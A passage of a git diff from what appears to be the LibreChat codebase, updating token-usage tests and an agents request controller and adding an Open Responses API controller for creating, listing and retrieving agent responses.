cache_creation: 30808 }, model: 'claude-opus-4-5-20251101', }, - { - input_tokens: 3802, - output_tokens: 149, - total_tokens: 3951, - input_token_details: { cache_read: 30808, cache_creation: 768 }, - model: 'claude-opus-4-5-20251101', - }, - { - input_tokens: 26808, - output_tokens: 225, - total_tokens: 27033, - input_token_details: { cache_read: 31576, cache_creation: 0 }, - model: 'claude-opus-4-5-20251101', - }, - { - input_tokens: 80912, - output_tokens: 204, - total_tokens: 81116, - input_token_details: { cache_read: 31576, cache_creation: 0 }, - model: 'claude-opus-4-5-20251101', - }, - { - input_tokens: 136454, - output_tokens: 206, - total_tokens: 136660, - input_token_details: { cache_read: 31576, cache_creation: 0 }, - model: 'claude-opus-4-5-20251101', - }, - { - input_tokens: 146316, - output_tokens: 224, - total_tokens: 146540, - input_token_details: { cache_read: 31576, cache_creation: 0 }, - model: 'claude-opus-4-5-20251101', - }, - { - input_tokens: 150402, - output_tokens: 1248, - total_tokens: 151650, - input_token_details: { cache_read: 31576, cache_creation: 0 }, - model: 'claude-opus-4-5-20251101', - }, - { - input_tokens: 156268, - output_tokens: 139, - total_tokens: 156407, - input_token_details: { cache_read: 31576, cache_creation: 0 }, - model: 'claude-opus-4-5-20251101', - }, - { - input_tokens: 167126, - output_tokens: 2961, - total_tokens: 170087, - input_token_details: { cache_read: 31576, cache_creation: 0 }, - model: 'claude-opus-4-5-20251101', - }, ]; + mockRecordCollectedUsage.mockResolvedValue({ input_tokens: 31596, output_tokens: 163 }); + await client.recordCollectedUsage({ collectedUsage, balance: { enabled: true }, transactions: { enabled: true }, }); - // input_tokens = first entry's input + cache_creation + cache_read - // = 788 + 30808 + 0 = 31596 expect(client.usage.input_tokens).toBe(31596); - - // output_tokens = sum of all output_tokens - // = 163 + 149 + 225 + 204 + 206 + 224 + 1248 + 139 + 2961 = 5519 - expect(client.usage.output_tokens).toBe(5519); - - // First 2 entries have cache tokens, should use spendStructuredTokens - // Remaining 7 entries have cache_read but no cache_creation, still structured - expect(mockSpendStructuredTokens).toHaveBeenCalledTimes(9); - expect(mockSpendTokens).toHaveBeenCalledTimes(0); - - // Verify first entry uses structured tokens with cache_creation - expect(mockSpendStructuredTokens).toHaveBeenNthCalledWith( - 1, - expect.objectContaining({ model: 'claude-opus-4-5-20251101' }), - { - promptTokens: { input: 788, write: 30808, read: 0 }, - completionTokens: 163, - }, - ); - - // Verify second entry uses structured tokens with both cache_creation and cache_read - expect(mockSpendStructuredTokens).toHaveBeenNthCalledWith( - 2, - expect.objectContaining({ model: 'claude-opus-4-5-20251101' }), - { - promptTokens: { input: 3802, write: 768, read: 30808 }, - completionTokens: 149, - }, - ); - }); - }); - - describe('cache token handling', () => { - it('should handle OpenAI format cache tokens (input_token_details)', async () => { - const collectedUsage = [ - { - input_tokens: 100, - output_tokens: 50, - model: 'gpt-4', - input_token_details: { - cache_creation: 20, - cache_read: 10, - }, - }, - ]; - - await client.recordCollectedUsage({ - collectedUsage, - balance: { enabled: true }, - transactions: { enabled: true }, - }); - - expect(mockSpendStructuredTokens).toHaveBeenCalledTimes(1); - expect(mockSpendStructuredTokens).toHaveBeenCalledWith( - expect.objectContaining({ model: 'gpt-4' }), - { - promptTokens: { - input: 100, - write: 20, - read: 10, - }, - completionTokens: 50, - }, - ); - }); - - it('should handle Anthropic format cache tokens (cache_*_input_tokens)', async () => { - const collectedUsage = [ - { - input_tokens: 100, - output_tokens: 50, - model: 'claude-3', - cache_creation_input_tokens: 25, - cache_read_input_tokens: 15, - }, - ]; - - await client.recordCollectedUsage({ - collectedUsage, - balance: { enabled: true }, - transactions: { enabled: true }, - }); - - expect(mockSpendStructuredTokens).toHaveBeenCalledTimes(1); - expect(mockSpendStructuredTokens).toHaveBeenCalledWith( - expect.objectContaining({ model: 'claude-3' }), - { - promptTokens: { - input: 100, - write: 25, - read: 15, - }, - completionTokens: 50, - }, - ); - }); - - it('should use spendTokens for entries without cache tokens', async () => { - const collectedUsage = [{ input_tokens: 100, output_tokens: 50, model: 'gpt-4' }]; - - await client.recordCollectedUsage({ - collectedUsage, - balance: { enabled: true }, - transactions: { enabled: true }, - }); - - expect(mockSpendTokens).toHaveBeenCalledTimes(1); - expect(mockSpendStructuredTokens).not.toHaveBeenCalled(); - }); - - it('should handle mixed cache and non-cache entries', async () => { - const collectedUsage = [ - { input_tokens: 100, output_tokens: 50, model: 'gpt-4' }, - { - input_tokens: 150, - output_tokens: 30, - model: 'gpt-4', - input_token_details: { cache_creation: 10, cache_read: 5 }, - }, - { input_tokens: 200, output_tokens: 20, model: 'gpt-4' }, - ]; - - await client.recordCollectedUsage({ - collectedUsage, - balance: { enabled: true }, - transactions: { enabled: true }, - }); - - expect(mockSpendTokens).toHaveBeenCalledTimes(2); - expect(mockSpendStructuredTokens).toHaveBeenCalledTimes(1); - }); - - it('should include cache tokens in total input calculation', async () => { - const collectedUsage = [ - { - input_tokens: 100, - output_tokens: 50, - model: 'gpt-4', - input_token_details: { - cache_creation: 20, - cache_read: 10, - }, - }, - ]; - - await client.recordCollectedUsage({ - collectedUsage, - balance: { enabled: true }, - transactions: { enabled: true }, - }); - - // Total input should include cache tokens: 100 + 20 + 10 = 130 - expect(client.usage.input_tokens).toBe(130); + expect(client.usage.output_tokens).toBe(163); }); }); describe('model fallback', () => { - it('should use usage.model when available', async () => { - const collectedUsage = [{ input_tokens: 100, output_tokens: 50, model: 'gpt-4-turbo' }]; - - await client.recordCollectedUsage({ - model: 'fallback-model', - collectedUsage, - balance: { enabled: true }, - transactions: { enabled: true }, - }); - - expect(mockSpendTokens).toHaveBeenCalledWith( - expect.objectContaining({ model: 'gpt-4-turbo' }), - expect.any(Object), - ); - }); - - it('should fallback to param model when usage.model is missing', async () => { + it('should use param model when available', async () => { + mockRecordCollectedUsage.mockResolvedValue({ input_tokens: 100, output_tokens: 50 }); const collectedUsage = [{ input_tokens: 100, output_tokens: 50 }]; await client.recordCollectedUsage({ @@ -630,14 +288,13 @@ describe('AgentClient - recordCollectedUsage', () => { transactions: { enabled: true }, }); - expect(mockSpendTokens).toHaveBeenCalledWith( - expect.objectContaining({ model: 'param-model' }), - expect.any(Object), - ); + const [, params] = mockRecordCollectedUsage.mock.calls[0]; + expect(params.model).toBe('param-model'); }); it('should fallback to client.model when param model is missing', async () => { client.model = 'client-model'; + mockRecordCollectedUsage.mockResolvedValue({ input_tokens: 100, output_tokens: 50 }); const collectedUsage = [{ input_tokens: 100, output_tokens: 50 }]; await client.recordCollectedUsage({ @@ -646,13 +303,12 @@ describe('AgentClient - recordCollectedUsage', () => { transactions: { enabled: true }, }); - expect(mockSpendTokens).toHaveBeenCalledWith( - expect.objectContaining({ model: 'client-model' }), - expect.any(Object), - ); + const [, params] = mockRecordCollectedUsage.mock.calls[0]; + expect(params.model).toBe('client-model'); }); it('should fallback to agent model_parameters.model as last resort', async () => { + mockRecordCollectedUsage.mockResolvedValue({ input_tokens: 100, output_tokens: 50 }); const collectedUsage = [{ input_tokens: 100, output_tokens: 50 }]; await client.recordCollectedUsage({ @@ -661,15 +317,14 @@ describe('AgentClient - recordCollectedUsage', () => { transactions: { enabled: true }, }); - expect(mockSpendTokens).toHaveBeenCalledWith( - expect.objectContaining({ model: 'gpt-4' }), - expect.any(Object), - ); + const [, params] = mockRecordCollectedUsage.mock.calls[0]; + expect(params.model).toBe('gpt-4'); }); }); describe('getStreamUsage integration', () => { it('should return the usage object set by recordCollectedUsage', async () => { + mockRecordCollectedUsage.mockResolvedValue({ input_tokens: 100, output_tokens: 50 }); const collectedUsage = [{ input_tokens: 100, output_tokens: 50, model: 'gpt-4' }]; await client.recordCollectedUsage({ @@ -679,10 +334,7 @@ describe('AgentClient - recordCollectedUsage', () => { }); const usage = client.getStreamUsage(); - expect(usage).toEqual({ - input_tokens: 100, - output_tokens: 50, - }); + expect(usage).toEqual({ input_tokens: 100, output_tokens: 50 }); }); it('should return undefined before recordCollectedUsage is called', () => { @@ -690,9 +342,9 @@ describe('AgentClient - recordCollectedUsage', () => { expect(usage).toBeUndefined(); }); + /** Verifies usage passes the check in BaseClient.sendMessage: if (usage != null && Number(usage[this.outputTokensKey]) > 0) */ it('should have output_tokens > 0 for BaseClient.sendMessage check', async () => { - // This test verifies the usage will pass the check in BaseClient.sendMessage: - // if (usage != null && Number(usage[this.outputTokensKey]) > 0) + mockRecordCollectedUsage.mockResolvedValue({ input_tokens: 200, output_tokens: 130 }); const collectedUsage = [ { input_tokens: 200, output_tokens: 100, model: 'gpt-4' }, { input_tokens: 50, output_tokens: 30, model: 'gpt-4' }, diff --git a/api/server/controllers/agents/request.js b/api/server/controllers/agents/request.js index eb8fd5aec6..dea5400036 100644 --- a/api/server/controllers/agents/request.js +++ b/api/server/controllers/agents/request.js @@ -3,9 +3,9 @@ const { Constants, ViolationTypes } = require('librechat-data-provider'); const { sendEvent, getViolationInfo, + buildMessageFiles, GenerationJobManager, decrementPendingRequest, - sanitizeFileForTransmit, sanitizeMessageForTransmit, checkAndIncrementPendingRequest, } = require('@librechat/api'); @@ -252,13 +252,10 @@ const ResumableAgentController = async (req, res, next, initializeClient, addTit conversation.title = conversation && !conversation.title ? null : conversation?.title || 'New Chat'; - if (req.body.files && client.options?.attachments) { - userMessage.files = []; - const messageFiles = new Set(req.body.files.map((file) => file.file_id)); - for (const attachment of client.options.attachments) { - if (messageFiles.has(attachment.file_id)) { - userMessage.files.push(sanitizeFileForTransmit(attachment)); - } + if (req.body.files && Array.isArray(client.options.attachments)) { + const files = buildMessageFiles(req.body.files, client.options.attachments); + if (files.length > 0) { + userMessage.files = files; } delete userMessage.image_urls; } @@ -324,7 +321,7 @@ const ResumableAgentController = async (req, res, next, initializeClient, addTit conversationId: conversation?.conversationId, }); - GenerationJobManager.emitDone(streamId, finalEvent); + await GenerationJobManager.emitDone(streamId, finalEvent); GenerationJobManager.completeJob(streamId); await decrementPendingRequest(userId); } else { @@ -344,7 +341,7 @@ const ResumableAgentController = async (req, res, next, initializeClient, addTit conversationId: conversation?.conversationId, }); - GenerationJobManager.emitDone(streamId, finalEvent); + await GenerationJobManager.emitDone(streamId, finalEvent); GenerationJobManager.completeJob(streamId, 'Request aborted'); await decrementPendingRequest(userId); } @@ -377,7 +374,7 @@ const ResumableAgentController = async (req, res, next, initializeClient, addTit // abortJob already handled emitDone and completeJob } else { logger.error(`[ResumableAgentController] Generation error for ${streamId}:`, error); - GenerationJobManager.emitError(streamId, error.message || 'Generation failed'); + await GenerationJobManager.emitError(streamId, error.message || 'Generation failed'); GenerationJobManager.completeJob(streamId, error.message); } @@ -406,7 +403,7 @@ const ResumableAgentController = async (req, res, next, initializeClient, addTit res.status(500).json({ error: error.message || 'Failed to start generation' }); } else { // JSON already sent, emit error to stream so client can receive it - GenerationJobManager.emitError(streamId, error.message || 'Failed to start generation'); + await GenerationJobManager.emitError(streamId, error.message || 'Failed to start generation'); } GenerationJobManager.completeJob(streamId, error.message); await decrementPendingRequest(userId); @@ -639,14 +636,10 @@ const _LegacyAgentController = async (req, res, next, initializeClient, addTitle conversation.title = conversation && !conversation.title ? null : conversation?.title || 'New Chat'; - // Process files if needed (sanitize to remove large text fields before transmission) - if (req.body.files && client.options?.attachments) { - userMessage.files = []; - const messageFiles = new Set(req.body.files.map((file) => file.file_id)); - for (const attachment of client.options.attachments) { - if (messageFiles.has(attachment.file_id)) { - userMessage.files.push(sanitizeFileForTransmit(attachment)); - } + if (req.body.files && Array.isArray(client.options.attachments)) { + const files = buildMessageFiles(req.body.files, client.options.attachments); + if (files.length > 0) { + userMessage.files = files; } delete userMessage.image_urls; } diff --git a/api/server/controllers/agents/responses.js b/api/server/controllers/agents/responses.js new file mode 100644 index 0000000000..83e6ad6efd --- /dev/null +++ b/api/server/controllers/agents/responses.js @@ -0,0 +1,910 @@ +const { nanoid } = require('nanoid'); +const { v4: uuidv4 } = require('uuid'); +const { logger } = require('@librechat/data-schemas'); +const { Callback, ToolEndHandler, formatAgentMessages } = require('@librechat/agents'); +const { EModelEndpoint, ResourceType, PermissionBits } = require('librechat-data-provider'); +const { + createRun, + buildToolSet, + createSafeUser, + initializeAgent, + getBalanceConfig, + recordCollectedUsage, + getTransactionsConfig, + createToolExecuteHandler, + // Responses API + writeDone, + buildResponse, + generateResponseId, + isValidationFailure, + emitResponseCreated, + createResponseContext, + createResponseTracker, + setupStreamingResponse, + emitResponseInProgress, + convertInputToMessages, + validateResponseRequest, + buildAggregatedResponse, + createResponseAggregator, + sendResponsesErrorResponse, + createResponsesEventHandlers, + createAggregatorEventHandlers, +} = require('@librechat/api'); +const { + createResponsesToolEndCallback, + createToolEndCallback, +} = require('~/server/controllers/agents/callbacks'); +const { loadAgentTools, loadToolsForExecution } = require('~/server/services/ToolService'); +const { findAccessibleResources } = require('~/server/services/PermissionService'); +const { getConvoFiles, saveConvo, getConvo } = require('~/models/Conversation'); +const { spendTokens, spendStructuredTokens } = require('~/models/spendTokens'); +const { getMultiplier, getCacheMultiplier } = require('~/models/tx'); +const { getAgent, getAgents } = require('~/models/Agent'); +const db = require('~/models'); + +/** @type {import('@librechat/api').AppConfig | null} */ +let appConfig = null; + +/** + * Set the app config for the controller + * @param {import('@librechat/api').AppConfig} config + */ +function setAppConfig(config) { + appConfig = config; +} + +/** + * Creates a tool loader function for the agent. + * @param {AbortSignal} signal - The abort signal + * @param {boolean} [definitionsOnly=true] - When true, returns only serializable + * tool definitions without creating full tool instances (for event-driven mode) + */ +function createToolLoader(signal, definitionsOnly = true) { + return async function loadTools({ + req, + res, + tools, + model, + agentId, + provider, + tool_options, + tool_resources, + }) { + const agent = { id: agentId, tools, provider, model, tool_options }; + try { + return await loadAgentTools({ + req, + res, + agent, + signal, + tool_resources, + definitionsOnly, + streamId: null, + }); + } catch (error) { + logger.error('Error loading tools for agent ' + agentId, error); + } + }; +} + +/** + * Convert Open Responses input items to internal messages + * @param {import('@librechat/api').InputItem[]} input + * @returns {Array} Internal messages + */ +function convertToInternalMessages(input) { + return convertInputToMessages(input); +} + +/** + * Load messages from a previous response/conversation + * @param {string} conversationId - The conversation/response ID + * @param {string} userId - The user ID + * @returns {Promise} Messages from the conversation + */ +async function loadPreviousMessages(conversationId, userId) { + try { + const messages = await db.getMessages({ conversationId, user: userId }); + if (!messages || messages.length === 0) { + return []; + } + + // Convert stored messages to internal format + return messages.map((msg) => { + const internalMsg = { + role: msg.isCreatedByUser ? 'user' : 'assistant', + content: '', + messageId: msg.messageId, + }; + + // Handle content - could be string or array + if (typeof msg.text === 'string') { + internalMsg.content = msg.text; + } else if (Array.isArray(msg.content)) { + // Handle content parts + internalMsg.content = msg.content; + } else if (msg.text) { + internalMsg.content = String(msg.text); + } + + return internalMsg; + }); + } catch (error) { + logger.error('[Responses API] Error loading previous messages:', error); + return []; + } +} + +/** + * Save input messages to database + * @param {import('express').Request} req + * @param {string} conversationId + * @param {Array} inputMessages - Internal format messages + * @param {string} agentId + * @returns {Promise} + */ +async function saveInputMessages(req, conversationId, inputMessages, agentId) { + for (const msg of inputMessages) { + if (msg.role === 'user') { + await db.saveMessage( + req, + { + messageId: msg.messageId || nanoid(), + conversationId, + parentMessageId: null, + isCreatedByUser: true, + text: typeof msg.content === 'string' ? msg.content : JSON.stringify(msg.content), + sender: 'User', + endpoint: EModelEndpoint.agents, + model: agentId, + }, + { context: 'Responses API - save user input' }, + ); + } + } +} + +/** + * Save response output to database + * @param {import('express').Request} req + * @param {string} conversationId + * @param {string} responseId + * @param {import('@librechat/api').Response} response + * @param {string} agentId + * @returns {Promise} + */ +async function saveResponseOutput(req, conversationId, responseId, response, agentId) { + // Extract text content from output items + let responseText = ''; + for (const item of response.output) { + if (item.type === 'message' && item.content) { + for (const part of item.content) { + if (part.type === 'output_text' && part.text) { + responseText += part.text; + } + } + } + } + + // Save the assistant message + await db.saveMessage( + req, + { + messageId: responseId, + conversationId, + parentMessageId: null, + isCreatedByUser: false, + text: responseText, + sender: 'Agent', + endpoint: EModelEndpoint.agents, + model: agentId, + finish_reason: response.status === 'completed' ? 'stop' : response.status, + tokenCount: response.usage?.output_tokens, + }, + { context: 'Responses API - save assistant response' }, + ); +} + +/** + * Save or update conversation + * @param {import('express').Request} req + * @param {string} conversationId + * @param {string} agentId + * @param {object} agent + * @returns {Promise} + */ +async function saveConversation(req, conversationId, agentId, agent) { + await saveConvo( + req, + { + conversationId, + endpoint: EModelEndpoint.agents, + agentId, + title: agent?.name || 'Open Responses Conversation', + model: agent?.model, + }, + { context: 'Responses API - save conversation' }, + ); +} + +/** + * Convert stored messages to Open Responses output format + * @param {Array} messages - Stored messages + * @returns {Array} Output items + */ +function convertMessagesToOutputItems(messages) { + const output = []; + + for (const msg of messages) { + if (!msg.isCreatedByUser) { + output.push({ + type: 'message', + id: msg.messageId, + role: 'assistant', + status: 'completed', + content: [ + { + type: 'output_text', + text: msg.text || '', + annotations: [], + }, + ], + }); + } + } + + return output; +} + +/** + * Create Response - POST /v1/responses + * + * Creates a model response following the Open Responses API specification. + * Supports both streaming and non-streaming responses. + * + * @param {import('express').Request} req + * @param {import('express').Response} res + */ +const createResponse = async (req, res) => { + const requestStartTime = Date.now(); + + // Validate request + const validation = validateResponseRequest(req.body); + if (isValidationFailure(validation)) { + return sendResponsesErrorResponse(res, 400, validation.error); + } + + const request = validation.request; + const agentId = request.model; + const isStreaming = request.stream === true; + + // Look up the agent + const agent = await getAgent({ id: agentId }); + if (!agent) { + return sendResponsesErrorResponse( + res, + 404, + `Agent not found: ${agentId}`, + 'not_found', + 'model_not_found', + ); + } + + // Generate IDs + const responseId = generateResponseId(); + const conversationId = request.previous_response_id ?? uuidv4(); + const parentMessageId = null; + + // Create response context + const context = createResponseContext(request, responseId); + + logger.debug( + `[Responses API] Request ${responseId} started for agent ${agentId}, stream: ${isStreaming}`, + ); + + // Set up abort controller + const abortController = new AbortController(); + + // Handle client disconnect + req.on('close', () => { + if (!abortController.signal.aborted) { + abortController.abort(); + logger.debug('[Responses API] Client disconnected, aborting'); + } + }); + + try { + // Build allowed providers set + const allowedProviders = new Set( + appConfig?.endpoints?.[EModelEndpoint.agents]?.allowedProviders, + ); + + // Create tool loader + const loadTools = createToolLoader(abortController.signal); + + // Initialize the agent first to check for disableStreaming + const endpointOption = { + endpoint: agent.provider, + model_parameters: agent.model_parameters ?? {}, + }; + + const primaryConfig = await initializeAgent( + { + req, + res, + loadTools, + requestFiles: [], + conversationId, + parentMessageId, + agent, + endpointOption, + allowedProviders, + isInitialAgent: true, + }, + { + getConvoFiles, + getFiles: db.getFiles, + getUserKey: db.getUserKey, + getMessages: db.getMessages, + updateFilesUsage: db.updateFilesUsage, + getUserKeyValues: db.getUserKeyValues, + getUserCodeFiles: db.getUserCodeFiles, + getToolFilesByIds: db.getToolFilesByIds, + getCodeGeneratedFiles: db.getCodeGeneratedFiles, + }, + ); + + // Determine if streaming is enabled (check both request and agent config) + const streamingDisabled = !!primaryConfig.model_parameters?.disableStreaming; + const actuallyStreaming = isStreaming && !streamingDisabled; + + // Load previous messages if previous_response_id is provided + let previousMessages = []; + if (request.previous_response_id) { + const userId = req.user?.id ?? 'api-user'; + previousMessages = await loadPreviousMessages(request.previous_response_id, userId); + } + + // Convert input to internal messages + const inputMessages = convertToInternalMessages( + typeof request.input === 'string' ? request.input : request.input, + ); + + // Merge previous messages with new input + const allMessages = [...previousMessages, ...inputMessages]; + + const toolSet = buildToolSet(primaryConfig); + const { messages: formattedMessages, indexTokenCountMap } = formatAgentMessages( + allMessages, + {}, + toolSet, + ); + + // Create tracker for streaming or aggregator for non-streaming + const tracker = actuallyStreaming ? createResponseTracker() : null; + const aggregator = actuallyStreaming ? null : createResponseAggregator(); + + // Set up response for streaming + if (actuallyStreaming) { + setupStreamingResponse(res); + + // Create handler config + const handlerConfig = { + res, + context, + tracker, + }; + + // Emit response.created then response.in_progress per Open Responses spec + emitResponseCreated(handlerConfig); + emitResponseInProgress(handlerConfig); + + // Create event handlers + const { handlers: responsesHandlers, finalizeStream } = + createResponsesEventHandlers(handlerConfig); + + // Collect usage for balance tracking + const collectedUsage = []; + + // Artifact promises for processing tool outputs + /** @type {Promise[]} */ + const artifactPromises = []; + // Use Responses API-specific callback that emits librechat:attachment events + const toolEndCallback = createResponsesToolEndCallback({ + req, + res, + tracker, + artifactPromises, + }); + + // Create tool execute options for event-driven tool execution + const toolExecuteOptions = { + loadTools: async (toolNames) => { + return loadToolsForExecution({ + req, + res, + agent, + toolNames, + signal: abortController.signal, + toolRegistry: primaryConfig.toolRegistry, + userMCPAuthMap: primaryConfig.userMCPAuthMap, + tool_resources: primaryConfig.tool_resources, + }); + }, + toolEndCallback, + }; + + // Combine handlers + const handlers = { + on_message_delta: responsesHandlers.on_message_delta, + on_reasoning_delta: responsesHandlers.on_reasoning_delta, + on_run_step: responsesHandlers.on_run_step, + on_run_step_delta: responsesHandlers.on_run_step_delta, + on_chat_model_end: { + handle: (event, data) => { + responsesHandlers.on_chat_model_end.handle(event, data); + const usage = data?.output?.usage_metadata; + if (usage) { + collectedUsage.push(usage); + } + }, + }, + on_tool_end: new ToolEndHandler(toolEndCallback, logger), + on_run_step_completed: { handle: () => {} }, + on_chain_stream: { handle: () => {} }, + on_chain_end: { handle: () => {} }, + on_agent_update: { handle: () => {} }, + on_custom_event: { handle: () => {} }, + on_tool_execute: createToolExecuteHandler(toolExecuteOptions), + }; + + // Create and run the agent + const userId = req.user?.id ?? 'api-user'; + const userMCPAuthMap = primaryConfig.userMCPAuthMap; + + const run = await createRun({ + agents: [primaryConfig], + messages: formattedMessages, + indexTokenCountMap, + runId: responseId, + signal: abortController.signal, + customHandlers: handlers, + requestBody: { + messageId: responseId, + conversationId, + }, + user: { id: userId }, + }); + + if (!run) { + throw new Error('Failed to create agent run'); + } + + // Process the stream + const config = { + runName: 'AgentRun', + configurable: { + thread_id: conversationId, + user_id: userId, + user: createSafeUser(req.user), + requestBody: { + messageId: responseId, + conversationId, + }, + ...(userMCPAuthMap != null && { userMCPAuthMap }), + }, + signal: abortController.signal, + streamMode: 'values', + version: 'v2', + }; + + await run.processStream({ messages: formattedMessages }, config, { + callbacks: { + [Callback.TOOL_ERROR]: (graph, error, toolId) => { + logger.error(`[Responses API] Tool Error "${toolId}"`, error); + }, + }, + }); + + // Record token usage against balance + const balanceConfig = getBalanceConfig(req.config); + const transactionsConfig = getTransactionsConfig(req.config); + recordCollectedUsage( + { + spendTokens, + spendStructuredTokens, + pricing: { getMultiplier, getCacheMultiplier }, + bulkWriteOps: { insertMany: db.bulkInsertTransactions, updateBalance: db.updateBalance }, + }, + { + user: userId, + conversationId, + collectedUsage, + context: 'message', + messageId: responseId, + balance: balanceConfig, + transactions: transactionsConfig, + model: primaryConfig.model || agent.model_parameters?.model, + }, + ).catch((err) => { + logger.error('[Responses API] Error recording usage:', err); + }); + + // Finalize the stream + finalizeStream(); + res.end(); + + const duration = Date.now() - requestStartTime; + logger.debug(`[Responses API] Request ${responseId} completed in ${duration}ms (streaming)`); + + // Save to database if store: true + if (request.store === true) { + try { + // Save conversation + await saveConversation(req, conversationId, agentId, agent); + + // Save input messages + await saveInputMessages(req, conversationId, inputMessages, agentId); + + // Build response for saving (use tracker with buildResponse for streaming) + const finalResponse = buildResponse(context, tracker, 'completed'); + await saveResponseOutput(req, conversationId, responseId, finalResponse, agentId); + + logger.debug( + `[Responses API] Stored response ${responseId} in conversation ${conversationId}`, + ); + } catch (saveError) { + logger.error('[Responses API] Error saving response:', saveError); + // Don't fail the request if saving fails + } + } + + // Wait for artifact processing after response ends (non-blocking) + if (artifactPromises.length > 0) { + Promise.all(artifactPromises).catch((artifactError) => { + logger.warn('[Responses API] Error processing artifacts:', artifactError); + }); + } + } else { + const aggregatorHandlers = createAggregatorEventHandlers(aggregator); + + // Collect usage for balance tracking + const collectedUsage = []; + + /** @type {Promise[]} */ + const artifactPromises = []; + const toolEndCallback = createToolEndCallback({ req, res, artifactPromises, streamId: null }); + + const toolExecuteOptions = { + loadTools: async (toolNames) => { + return loadToolsForExecution({ + req, + res, + agent, + toolNames, + signal: abortController.signal, + toolRegistry: primaryConfig.toolRegistry, + userMCPAuthMap: primaryConfig.userMCPAuthMap, + tool_resources: primaryConfig.tool_resources, + }); + }, + toolEndCallback, + }; + + const handlers = { + on_message_delta: aggregatorHandlers.on_message_delta, + on_reasoning_delta: aggregatorHandlers.on_reasoning_delta, + on_run_step: aggregatorHandlers.on_run_step, + on_run_step_delta: aggregatorHandlers.on_run_step_delta, + on_chat_model_end: { + handle: (event, data) => { + aggregatorHandlers.on_chat_model_end.handle(event, data); + const usage = data?.output?.usage_metadata; + if (usage) { + collectedUsage.push(usage); + } + }, + }, + on_tool_end: new ToolEndHandler(toolEndCallback, logger), + on_run_step_completed: { handle: () => {} }, + on_chain_stream: { handle: () => {} }, + on_chain_end: { handle: () => {} }, + on_agent_update: { handle: () => {} }, + on_custom_event: { handle: () => {} }, + on_tool_execute: createToolExecuteHandler(toolExecuteOptions), + }; + + const userId = req.user?.id ?? 'api-user'; + const userMCPAuthMap = primaryConfig.userMCPAuthMap; + + const run = await createRun({ + agents: [primaryConfig], + messages: formattedMessages, + indexTokenCountMap, + runId: responseId, + signal: abortController.signal, + customHandlers: handlers, + requestBody: { + messageId: responseId, + conversationId, + }, + user: { id: userId }, + }); + + if (!run) { + throw new Error('Failed to create agent run'); + } + + const config = { + runName: 'AgentRun', + configurable: { + thread_id: conversationId, + user_id: userId, + user: createSafeUser(req.user), + requestBody: { + messageId: responseId, + conversationId, + }, + ...(userMCPAuthMap != null && { userMCPAuthMap }), + }, + signal: abortController.signal, + streamMode: 'values', + version: 'v2', + }; + + await run.processStream({ messages: formattedMessages }, config, { + callbacks: { + [Callback.TOOL_ERROR]: (graph, error, toolId) => { + logger.error(`[Responses API] Tool Error "${toolId}"`, error); + }, + }, + }); + + // Record token usage against balance + const balanceConfig = getBalanceConfig(req.config); + const transactionsConfig = getTransactionsConfig(req.config); + recordCollectedUsage( + { + spendTokens, + spendStructuredTokens, + pricing: { getMultiplier, getCacheMultiplier }, + bulkWriteOps: { insertMany: db.bulkInsertTransactions, updateBalance: db.updateBalance }, + }, + { + user: userId, + conversationId, + collectedUsage, + context: 'message', + messageId: responseId, + balance: balanceConfig, + transactions: transactionsConfig, + model: primaryConfig.model || agent.model_parameters?.model, + }, + ).catch((err) => { + logger.error('[Responses API] Error recording usage:', err); + }); + + if (artifactPromises.length > 0) { + try { + await Promise.all(artifactPromises); + } catch (artifactError) { + logger.warn('[Responses API] Error processing artifacts:', artifactError); + } + } + + const response = buildAggregatedResponse(context, aggregator); + + if (request.store === true) { + try { + await saveConversation(req, conversationId, agentId, agent); + + await saveInputMessages(req, conversationId, inputMessages, agentId); + + await saveResponseOutput(req, conversationId, responseId, response, agentId); + + logger.debug( + `[Responses API] Stored response ${responseId} in conversation ${conversationId}`, + ); + } catch (saveError) { + logger.error('[Responses API] Error saving response:', saveError); + // Don't fail the request if saving fails + } + } + + res.json(response); + + const duration = Date.now() - requestStartTime; + logger.debug( + `[Responses API] Request ${responseId} completed in ${duration}ms (non-streaming)`, + ); + } + } catch (error) { + const errorMessage = error instanceof Error ? error.message : 'An error occurred'; + logger.error('[Responses API] Error:', error); + + // Check if we already started streaming (headers sent) + if (res.headersSent) { + // Headers already sent, write error event and close + writeDone(res); + res.end(); + } else { + // Forward upstream provider status codes (e.g., Anthropic 400s) instead of masking as 500 + const statusCode = + typeof error?.status === 'number' && error.status >= 400 && error.status < 600 + ? error.status + : 500; + const errorType = statusCode >= 400 && statusCode < 500 ? 'invalid_request' : 'server_error'; + sendResponsesErrorResponse(res, statusCode, errorMessage, errorType); + } + } +}; + +/** + * List available agents as models - GET /v1/models (also works with /v1/responses/models) + * + * Returns a list of available agents the user has remote access to. + * + * @param {import('express').Request} req + * @param {import('express').Response} res + */ +const listModels = async (req, res) => { + try { + const userId = req.user?.id; + const userRole = req.user?.role; + + if (!userId) { + return sendResponsesErrorResponse(res, 401, 'Authentication required', 'auth_error'); + } + + // Find agents the user has remote access to (VIEW permission on REMOTE_AGENT) + const accessibleAgentIds = await findAccessibleResources({ + userId, + role: userRole, + resourceType: ResourceType.REMOTE_AGENT, + requiredPermissions: PermissionBits.VIEW, + }); + + // Get the accessible agents + let agents = []; + if (accessibleAgentIds.length > 0) { + agents = await getAgents({ _id: { $in: accessibleAgentIds } }); + } + + // Convert to models format + const models = agents.map((agent) => ({ + id: agent.id, + object: 'model', + created: Math.floor(new Date(agent.createdAt).getTime() / 1000), + owned_by: agent.author ?? 'librechat', + // Additional metadata + name: agent.name, + description: agent.description, + provider: agent.provider, + })); + + res.json({ + object: 'list', + data: models, + }); + } catch (error) { + logger.error('[Responses API] Error listing models:', error); + sendResponsesErrorResponse( + res, + 500, + error instanceof Error ? error.message : 'Failed to list models', + 'server_error', + ); + } +}; + +/** + * Get Response - GET /v1/responses/:id + * + * Retrieves a stored response by its ID. + * The response ID maps to a conversationId in LibreChat's storage. + * + * @param {import('express').Request} req + * @param {import('express').Response} res + */ +const getResponse = async (req, res) => { + try { + const responseId = req.params.id; + const userId = req.user?.id; + + if (!responseId) { + return sendResponsesErrorResponse(res, 400, 'Response ID is required'); + } + + // The responseId could be either the response ID or the conversation ID + // Try to find a conversation with this ID + const conversation = await getConvo(userId, responseId); + + if (!conversation) { + return sendResponsesErrorResponse( + res, + 404, + `Response not found: ${responseId}`, + 'not_found', + 'response_not_found', + ); + } + + // Load messages for this conversation + const messages = await db.getMessages({ conversationId: responseId, user: userId }); + + if (!messages || messages.length === 0) { + return sendResponsesErrorResponse( + res, + 404, + `No messages found for response: ${responseId}`, + 'not_found', + 'response_not_found', + ); + } + + // Convert messages to Open Responses output format + const output = 